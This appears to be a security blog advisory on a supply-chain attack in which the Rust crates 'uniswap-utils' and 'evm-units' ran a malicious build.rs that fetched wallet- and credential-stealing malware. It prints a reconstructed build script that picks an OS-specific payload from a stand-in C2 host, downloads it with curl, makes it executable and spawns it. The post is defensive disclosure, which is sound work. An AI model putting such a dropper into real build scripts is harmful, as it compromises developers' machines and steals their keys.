Feb 7, 2026·6 min read·10 visits
The 'uniswap-utils' Rust crate was a Trojan Horse. Upon running 'cargo build', it triggered a malicious build script that downloaded OS-specific malware to steal crypto wallets and credentials. If you installed this, burn your keys.
A critical supply chain attack targeting the Rust ecosystem, specifically Web3 developers. The `uniswap-utils` crate, and its dependency `evm-units`, contained a malicious `build.rs` script that executed cross-platform malware (Kimwolf) capable of exfiltrating private keys and establishing persistence.
We love Rust. We love the borrow checker, the memory safety, and the feeling of moral superiority when we explain to C++ developers why their pointers are dangling. But here is the cold, hard truth: Memory safety does not equal supply chain safety.
While the Rust compiler is busy saving you from segfaults, cargo (the package manager) is happily downloading code from the internet and executing it on your machine with full privileges. This vulnerability, tracked as GHSA-x468-phr8-h3p3, is a textbook example of why blind trust in open-source registries is a fatal error.
The target? Web3 developers. The weapon? A crate named uniswap-utils. It sounds helpful, doesn't it? A nice little utility library for interacting with the Uniswap DEX. It’s the kind of package you add to your Cargo.toml at 2 AM when you just want to get the math right. But inside this sheep's clothing was a ravenous wolf—specifically, the Kimwolf malware actor.
The vulnerability here isn't a buffer overflow or a logic error in the traditional sense. The 'flaw' is a feature. Rust crates allow for a file called build.rs—a build script that compiles and runs before your actual project compiles. It's meant for things like compiling C dependencies or generating code bindings.
However, to an attacker, build.rs is essentially Remote Code Execution (RCE) as a Service. When you run cargo build, you are handing the wheel to the author of every dependency in your tree.
The attacker, known as ablerust, published uniswap-utils which depended on another malicious crate, evm-units. This separation of concerns was a smart move to obfuscate the attack. A developer might audit the top-level crate, see nothing suspicious, and miss the poison pill buried in the dependency graph. The malicious build.rs in evm-units didn't help you calculate gas fees; it fingerprinted your OS and downloaded a second-stage payload.
Since the crates have been yanked from crates.io (and hopefully nuked from orbit), we have to reconstruct the attack based on the forensic analysis. The malicious logic resided entirely in the build.rs of the dependency.
A legitimate build.rs might look like this:
// Normal build.rs
fn main() {
println!("cargo:rerun-if-changed=src/hello.c");
cc::Build::new().file("src/hello.c").compile("hello");
}The malware, however, looked more like this (reconstructed logic):
// Malicious build.rs reconstruction
use std::process::Command;
use std::env;
fn main() {
// 1. Detect the Victim's OS
let os = env::consts::OS;
// 2. Select the Payload URL
let payload_url = match os {
"windows" => "http://malicious-c2[.]com/payload.exe",
"linux" => "http://malicious-c2[.]com/payload_elf",
"macos" => "http://malicious-c2[.]com/payload_macho",
_ => return, // Silent exit on unsupported OS
};
// 3. Download and Execute (Silent Mode)
// In reality, they likely used obscure ways to curl/wget to avoid detection
let _ = Command::new("curl")
.args(&["-s", "-L", payload_url, "-o", "/tmp/.sys_update"])
.status();
let _ = Command::new("chmod")
.args(&["+x", "/tmp/.sys_update"])
.status();
// 4. Detach process so it persists after build finishes
let _ = Command::new("/tmp/.sys_update")
.spawn();
}> [!NOTE] > The actual attack was likely more sophisticated, using obfuscation to hide the URLs and potentially checking for CI/CD environment variables to avoid detonating in analysis sandboxes.
Let's walk through the attack scenario. You are a developer working on a new DeFi dashboard. You need some helper functions for Uniswap V3 math.
uniswap-utils. It looks legitimate. It has decent documentation (stolen from real projects).cargo add uniswap-utils.cargo run to test your app.This is the critical moment. Before your app even compiles, Cargo resolves the dependency tree. It sees uniswap-utils -> evm-units. It downloads both. It sees evm-units has a build.rs. It compiles that script and runs it on your host machine.
While the compiler allows the text to scroll by on your terminal, the background process has already started. The malware identifies you are running macOS, fetches the Mach-O binary from the C2 server, and executes it. You see Finished dev [unoptimized + debuginfo] target(s) in 2.34s. You think you're ready to code. You are actually already owned.
The payload delivered by this campaign was not a simple harmless prank. It was the Kimwolf malware suite. Once running, its primary directive was Information Theft.
This malware specifically hunted for:
.env files and shell history looking for PRIVATE_KEY, MNEMONIC, or AWS credentials.The impact on a Web3 developer is catastrophic. Not only is your personal crypto at risk, but if you have deployment keys for a protocol or smart contract on your machine, the attacker could rug-pull the entire project. The malware also established persistence, meaning a simple reboot wouldn't kick them out. They were in for the long haul.
If you find uniswap-utils or evm-units in your Cargo.lock, panic slightly, then act decisively.
1. Remediation is Impossible: You cannot simply 'remove' the crate and be safe. The code executed arbitrary binary payloads. You must assume the machine is fully compromised.
2. The Nuclear Option:
3. Prevention:
cargo-deny: Configure policies to ban crates with unverified build.rs scripts if possible.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
uniswap-utils ablerust (Malicious Actor) | All Versions | Yanked |
evm-units ablerust (Malicious Actor) | All Versions | Yanked |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-506 (Embedded Malicious Code) |
| Attack Vector | Network (Supply Chain) |
| CVSS | 10.0 (Critical) |
| Mechanism | Rust build.rs execution |
| Impact | Information Disclosure, RCE |
| Payload | Kimwolf Info Stealer |